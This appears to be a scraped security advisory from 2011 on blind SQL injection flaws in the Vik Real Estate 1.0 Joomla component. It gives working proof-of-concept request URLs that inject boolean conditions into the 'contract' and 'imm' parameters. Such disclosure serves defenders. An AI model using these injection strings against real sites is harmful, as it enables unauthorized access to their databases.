扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
################################################################### Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection ################################################################### Release Date Bug.27-Oct-2011 Date Added.30-Sep-2011 Vendor Notification Date.Never Product. Vik Real Estate Platform.Joomla Affected versions. 1.0 Type.Commercial Price. 69.00 Attack Vector. Blind Sql Injection Solution Status. unpublished CVE reference. Not yet assigned Download http://www.extensionsforjoomla.com/vik-real-estate/joomla-extensions/vik-real-estate?vmcchk=1 I. BACKGROUND Extension to manage real estates with details and description. Main Functions: - Manage Types of Contract (rental, selling, etc.) - Condition of use (commercial, residential, etc.) - Types of houses (apartment, villa, etc.) - Manage Features (garden, garage, pool, etc. with icons) - Manage States/Cities and Areas (New York City, Soho. Florence, Airport etc.) Add real estates with description and images. Search module included. II. DESCRIPTION Two vulnerabilities have been discovered in Vik Real Estate, joomla component, the 2 vulnerabilities are blind injections (boolean-based time-based blind & blind) The parameters affected are: contract imm III. EXPLOITATION parameter [contract]: //index.php?option=com_vikrealestate&act=results&contract=1' AND 1=1 AND '666'='666&adibit=1&prov=1&area=_any&pricemin=_any&pricemax=_any&mqmin=0&mqmax=_any&type=_any&gores=Search parameter [imm]: //index.php?option=com_vikrealestate&act=show&imm=3' AND 1=1 AND '666'='666 Discovered by. Chris Russell |
体验盒子
